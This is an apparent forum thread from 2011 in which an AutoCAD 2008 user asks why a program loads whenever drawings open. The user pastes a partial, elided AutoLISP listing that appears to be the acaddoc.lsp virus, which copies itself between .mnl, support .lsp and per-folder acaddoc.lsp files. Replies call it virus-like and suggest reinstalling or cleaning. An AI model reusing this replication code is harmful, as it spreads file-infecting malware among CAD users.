autoCAD 2008 打开图纸时会加载一段程序，挺麻烦，哪位大虾能帮忙

显示全部楼层 · 2011-6-19 12:54:29

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn

(write-line text wjm1)

);progn
);if
);while

(close wjm1)

(close wjm)

);progn

);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while
…………
………
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)
; 错误: 参数类型错误: streamp nil

千问 · 2011-6-19 12:54:29

建议你重装一下设置很麻烦！...

千问 · 2011-6-19 12:54:29

用百度查acaddoc的处理办法相当于acaddoc.LSP类似病毒的问题要不就是杀毒未彻底干净建议按处理程序手动做一遍...

千问 · 2011-6-19 12:54:29

打开的图纸也是2008的么，版本不一样可能会这样...